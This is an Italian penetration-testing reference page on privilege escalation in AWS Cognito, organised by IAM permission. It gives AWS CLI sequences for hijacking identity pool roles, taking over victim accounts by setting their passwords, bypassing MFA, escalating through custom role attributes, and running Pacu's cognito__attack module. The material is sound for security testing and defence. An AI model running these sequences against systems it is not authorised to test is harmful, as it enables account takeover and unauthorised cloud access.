# AWS - Cognito Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## Cognito

Per maggiori informazioni su Cognito consulta:

{{#ref}}
../../aws-services/aws-cognito-enum/
{{#endref}}

### Raccolta delle credenziali dall'Identity Pool

Poiché Cognito può concedere **IAM role credentials** sia a **authenticated** che a **unauthenticated** **users**, se individui l'**Identity Pool ID** di un'applicazione (dovrebbe essere hardcoded al suo interno) puoi ottenere nuove credenziali e quindi privesc (all'interno di un account AWS dove probabilmente non avevi precedentemente alcuna credenziale).

Per maggiori informazioni [**consulta questa pagina**](../../aws-unauthenticated-enum-access/index.html#cognito).

**Impatto potenziale:** privesc diretto al services role associato agli unauth users (e probabilmente anche a quello associato agli auth users).

### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole`

Con questa permission puoi concedere qualsiasi cognito role agli authenticated/unauthenticated users dell'app cognito.
```bash
aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>

# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"
```
Se l'app cognito **non ha gli utenti non autenticati abilitati** potresti aver bisogno anche del permesso `cognito-identity:UpdateIdentityPool` per abilitarli.

**Impatto potenziale:** privesc diretto su qualsiasi ruolo cognito.

### `cognito-identity:update-identity-pool`

Un attacker con questo permesso potrebbe impostare, per esempio, un Cognito User Pool sotto il suo controllo o qualsiasi altro identity provider in cui può effettuare il login come **modo per accedere a questo Cognito Identity Pool**. Poi, semplicemente effettuando il **login** su quel provider di utenti, si **permetterà all'attacker di accedere al ruolo autenticato configurato nell'Identity Pool**.
```bash
# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false

# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:

# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
```
È anche possibile **abusare di questa autorizzazione per consentire basic auth**:
```bash
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow
```
**Impatto potenziale**: Compromettere la IAM role autenticata configurata all'interno dell'identity pool.

### `cognito-idp:AdminAddUserToGroup`

Questa autorizzazione permette di **add a Cognito user to a Cognito group**, quindi un attacker potrebbe abusare di questa autorizzazione per aggiungere un user sotto il suo controllo ad altri gruppi con privilegi **migliori** o **diversi IAM roles**:
```bash
aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>
```
**Impatto potenziale:** Privesc su altri Cognito groups e IAM roles associati ai User Pool Groups.

### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole`

Un attaccante con questi permessi potrebbe **create/update groups** con **every IAM role that can be used by a compromised Cognito Identity Provider** e rendere un utente compromesso parte del gruppo, accedendo a tutti quei ruoli:
```bash
aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>
```
**Impatto potenziale:** Privesc to other Cognito IAM roles.

### `cognito-idp:AdminConfirmSignUp`

Questo permesso consente di **verificare una registrazione**. Per impostazione predefinita chiunque può registrarsi nelle applicazioni Cognito; se ciò rimane così, un utente potrebbe creare un account con qualsiasi dato e verificarlo con questo permesso.
```bash
aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>
```
**Potenziale impatto:** Privesc indiretto all'identity pool IAM role per gli utenti autenticati se riesci a registrare un nuovo utente. Privesc indiretto su altre funzionalità dell'app potendo confermare qualsiasi account.

### `cognito-idp:AdminCreateUser`

Questa autorizzazione permetterebbe a un attacker di creare un nuovo utente all'interno del user pool. Il nuovo utente viene creato come abilitato, ma dovrà cambiare la password.
```bash
aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]
```
**Impatto potenziale:** privesc diretto al identity pool IAM role per utenti autenticati. privesc indiretto ad altre funzionalità dell'app in grado di creare qualsiasi utente

### `cognito-idp:AdminEnableUser`

Questo permesso può essere utile in una situazione molto rara in cui un attacker ha trovato le credenziali di un utente disabilitato e ha bisogno di **riattivarlo**.
```bash
aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>
```
**Impatto potenziale:** privesc indiretto al ruolo IAM dell'identity pool per utenti autenticati e controllo dei permessi dell'utente se l'attaccante disponeva delle credenziali di un utente disabilitato.

### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`**

Questo permesso consente di effettuare il login con il [**method ADMIN_USER_PASSWORD_AUTH**](../../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** Per maggiori informazioni segui il link.

### `cognito-idp:AdminSetUserPassword`

Questo permesso permetterebbe a un attaccante di **impostare una password nota per qualsiasi utente**, di solito risultando in una **direct account takeover** (soprattutto se la vittima non ha MFA abilitata, o se l'MFA non è applicata per il flusso di autenticazione/client rilevante).
```bash
aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent
```
Flusso di lavoro comune:
```bash
REGION="us-east-1"
USER_POOL_ID="<user_pool_id>"
VICTIM_USERNAME="<victim_username_or_email>"
NEW_PASS='P@ssw0rd-ChangeMe-123!'

# 1) Set a permanent password for the victim (takeover primitive)
aws cognito-idp admin-set-user-password \
--region "$REGION" \
--user-pool-id "$USER_POOL_ID" \
--username "$VICTIM_USERNAME" \
--password "$NEW_PASS" \
--permanent

# 2) Login as the victim against a User Pool App Client (doesn't require AWS creds)
CLIENT_ID="<user_pool_app_client_id>"
aws cognito-idp initiate-auth \
--no-sign-request --region "$REGION" \
--client-id "$CLIENT_ID" \
--auth-flow USER_PASSWORD_AUTH \
--auth-parameters "USERNAME=$VICTIM_USERNAME,PASSWORD=$NEW_PASS"
```
Permesso correlato: `cognito-idp:AdminResetUserPassword` può essere utilizzato per forzare un reset per una vittima (l'impatto dipende da come è implementato il recupero della password e cosa l'attaccante può intercettare o controllare).

**Impatto potenziale:** Account takeover di utenti arbitrari; accesso ai privilegi a livello app (groups/roles/claims) e a qualsiasi risorsa downstream che si fida dei token Cognito; potenziale accesso ai ruoli IAM autenticati di Identity Pool.

### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool`

**AdminSetUserSettings**: Un attaccante potrebbe potenzialmente abusare di questo permesso per impostare un numero di telefono mobile sotto il proprio controllo come **SMS MFA di un utente**.
```bash
aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>
```
**SetUserMFAPreference:** Simile al precedente, questa permission può essere usata per impostare le preferenze MFA di un utente e bypassare la protezione MFA.
```bash
aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>
```
**SetUserPoolMfaConfig**: Analogamente al precedente, questo permesso può essere usato per impostare le preferenze MFA di un user pool per bypassare la protezione MFA.
```bash
aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]
```
**UpdateUserPool:** È anche possibile aggiornare il User Pool per modificare la policy MFA. [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).

**Impatto potenziale:** Indirect privesc verso potenzialmente qualsiasi utente di cui l'attacker conosca le credentials; questo potrebbe permettere di bypassare la protezione MFA.

### `cognito-idp:AdminUpdateUserAttributes`

Un attacker con questa permission può cambiare **qualsiasi attributo modificabile** di un User Pool user (inclusi gli attributi `custom:*`) per cercare di ottenere privilegi in un'applicazione sottostante.

Un pattern comune ad alto impatto è **claim-based RBAC** implementato usando **custom attributes** (per esempio `custom:role=admin`). Se l'applicazione si fida di quel claim, aggiornarlo e poi ri-autenticarsi può bypassare l'autorizzazione senza toccare l'app.
```bash
aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>
```
Esempio: upgrade il proprio role e i refresh tokens:
```bash
REGION="us-east-1"
USER_POOL_ID="<user_pool_id>"
USERNAME="<your_username>"

# 1) Change the RBAC attribute (example)
aws cognito-idp admin-update-user-attributes \
--region "$REGION" \
--user-pool-id "$USER_POOL_ID" \
--username "$USERNAME" \
--user-attributes Name="custom:role",Value="admin"

# 2) Re-authenticate to obtain a token with updated claims
CLIENT_ID="<user_pool_app_client_id>"
PASSWORD="<your_password>"
aws cognito-idp initiate-auth \
--no-sign-request --region "$REGION" \
--client-id "$CLIENT_ID" \
--auth-flow USER_PASSWORD_AUTH \
--auth-parameters "USERNAME=$USERNAME,PASSWORD=$PASSWORD"
```
**Impatto potenziale:** Indirect privesc in applicazioni che si affidano agli attributi/claims di Cognito per l'autorizzazione; capacità di modificare altri attributi rilevanti per la sicurezza (ad esempio impostare `email_verified` o `phone_number_verified` su `true` può essere rilevante in alcune app).

### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient`

Un attacker con questo permesso potrebbe **creare un nuovo User Pool Client meno restrittivo** rispetto ai client del pool già esistenti. Ad esempio, il nuovo client potrebbe consentire qualsiasi metodo di autenticazione, non avere alcun secret, avere la revoca dei token disabilitata, permettere che i token rimangano validi per un periodo più lungo...

La stessa cosa può essere fatta se, invece di creare un nuovo client, **se ne modifica uno esistente**.

Nella [**riga di comando**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (o per [**aggiornare**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) puoi vedere tutte le opzioni, dai un'occhiata!.
```bash
aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]
```
**Potenziale Impatto:** Potenziale privesc indiretto all'Identity Pool authorized user usato dall'User Pool creando un nuovo client che allenta le misure di sicurezza e rende possibile a un attacker effettuare il login con un user che è stato creato.

### `cognito-idp:CreateUserImportJob` | `cognito-idp:StartUserImportJob`

Un attacker potrebbe abusare di questo permesso per creare user caricando un file csv con nuovi user.
```bash
# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>

# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>

# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"
```
(Nel caso in cui si crei un nuovo import job potrebbe essere necessario anche il permesso iam passrole, non l'ho ancora testato).

**Impatto potenziale:** Privesc diretto al ruolo IAM dell'identity pool per utenti autenticati. Privesc indiretto ad altre funzionalità dell'app, consentendo la creazione di qualsiasi utente.

### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider`

Un attacker potrebbe creare un nuovo identity provider per poi poter **login through this provider**.
```bash
aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]
```
**Impatto potenziale:** Direct privesc to the identity pool IAM role for authenticated users. Indirect privesc to other app functionalities being able to create any user.

### cognito-sync:\* Analisi

Questo è un permesso molto comune di default nei ruoli di Cognito Identity Pools. Anche se un wildcard in un permesso sembra sempre pericoloso (soprattutto se proviene da AWS), le **permessi concessi non sono particolarmente utili dal punto di vista di un attacker**.

Questo permesso permette di leggere le informazioni d'uso degli Identity Pools e degli Identity IDs all'interno degli Identity Pools (che non sono informazioni sensibili).\
Identity IDs might have [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) assigned to them, which are information of the sessions (AWS define it like a **saved game**). Potrebbe essere possibile che queste contengano qualche tipo di informazione sensibile (ma la probabilità è piuttosto bassa). Puoi trovare nella [**enumeration page**](../../aws-services/aws-cognito-enum/index.html) come accedere a queste informazioni.

Un attacker potrebbe anche usare questi permessi per **enroll himself to a Cognito stream that publish changes** su questi datasets o per una **lambda that triggers on cognito events**. Non ho mai visto questo essere sfruttato, e non mi aspetterei informazioni sensibili qui, ma non è impossibile.

### Strumenti automatici

- [Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, ora include i moduli "cognito\_\_enum" e "cognito\_\_attack" che automatizzano l'enumerazione di tutti gli asset Cognito in un account e segnalano configurazioni deboli, attributi utente usati per controllo accessi, ecc., e automatizzano anche la user creation (incluso il supporto MFA) e privilege escalation basata su modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, ecc.

Per una descrizione delle funzioni dei moduli vedi la parte 2 del [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Per le istruzioni di installazione vedi la pagina principale di [Pacu](https://github.com/RhinoSecurityLabs/pacu).

#### Uso

Esempio di utilizzo di cognito\_\_attack per tentare la user creation e tutti i privesc vectors against a given identity pool and user pool client:
```bash
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
```
Esempio di utilizzo di cognito\_\_enum per raccogliere tutti i user pools, user pool clients, identity pools, users, ecc. visibili nell'account AWS corrente:
```bash
Pacu (new:test) > run cognito__enum
```
- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) è uno strumento CLI in python che implementa diversi attacchi su Cognito, inclusa un'escalation privesc.

#### Installazione
```bash
$ pip install cognito-scanner
```
#### Uso
```bash
$ cognito-scanner --help
```
Per maggiori informazioni, consulta [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner)

{{#include ../../../../banners/hacktricks-training.md}}
